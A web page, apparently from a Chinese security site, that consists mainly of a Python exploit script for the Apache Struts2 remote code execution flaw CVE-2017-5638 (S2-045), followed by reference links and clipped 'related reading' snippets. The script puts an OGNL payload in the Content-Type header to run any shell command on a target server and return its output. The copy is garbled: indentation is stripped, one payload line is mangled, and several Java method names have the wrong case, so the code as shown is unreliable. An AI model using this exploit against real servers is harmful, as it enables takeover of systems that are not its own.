cve-2017-5638
Metasploit-Framework
Exp Code
#!/usr/bin/Python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#[email protected]context@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.actioncontext.container'])."
payload += "(#ognlUtil=#container.getinstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.Processbuilder(#cmds))."
payload += "(#p.redirectERRORStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getresponse().getoutputstream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.incompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
references
- https://cwiki.apache.org/confluence/display/WW/S2-045
- https://github.com/rapid7/metasploit-framework/issues/8064
- https://www.seebug.org/vuldb/ssvid-92746
- http://paper.seebug.org/241/
相关阅读
2019年03月04日更新:JavaWeb目前都是用Spring全家桶,如果不是项目要求,不需要再学struts2了** 本文最后更新于<2017年12月06日> Stru
拦截器概述 拦截器(Interceptor)就是当一个Action被执行之前与执行之后的一段代码。 许多框架的核心功能就是通过拦截器实现的
今天在配置struts2时,启动Tomcat老是提示NullPointException,后来在网上查了好多,发现问题有如下情况:1.web.xml配置不正确,正确的web.
【S2-045】 Struts2远程命令执行漏洞(CVE-2017-5638)
实验环境 操作机:Windows XP 目标机:Centos 6.5 Struts版本:2.3.31 请访问http://file.ichunqiu.com/74tk6wy6下载实
在Strust2中,有一个内置对象叫ActionContext,通过该对象可以获得之前Servlet中的对象,比如:requst对象,response对象...那么为什么可以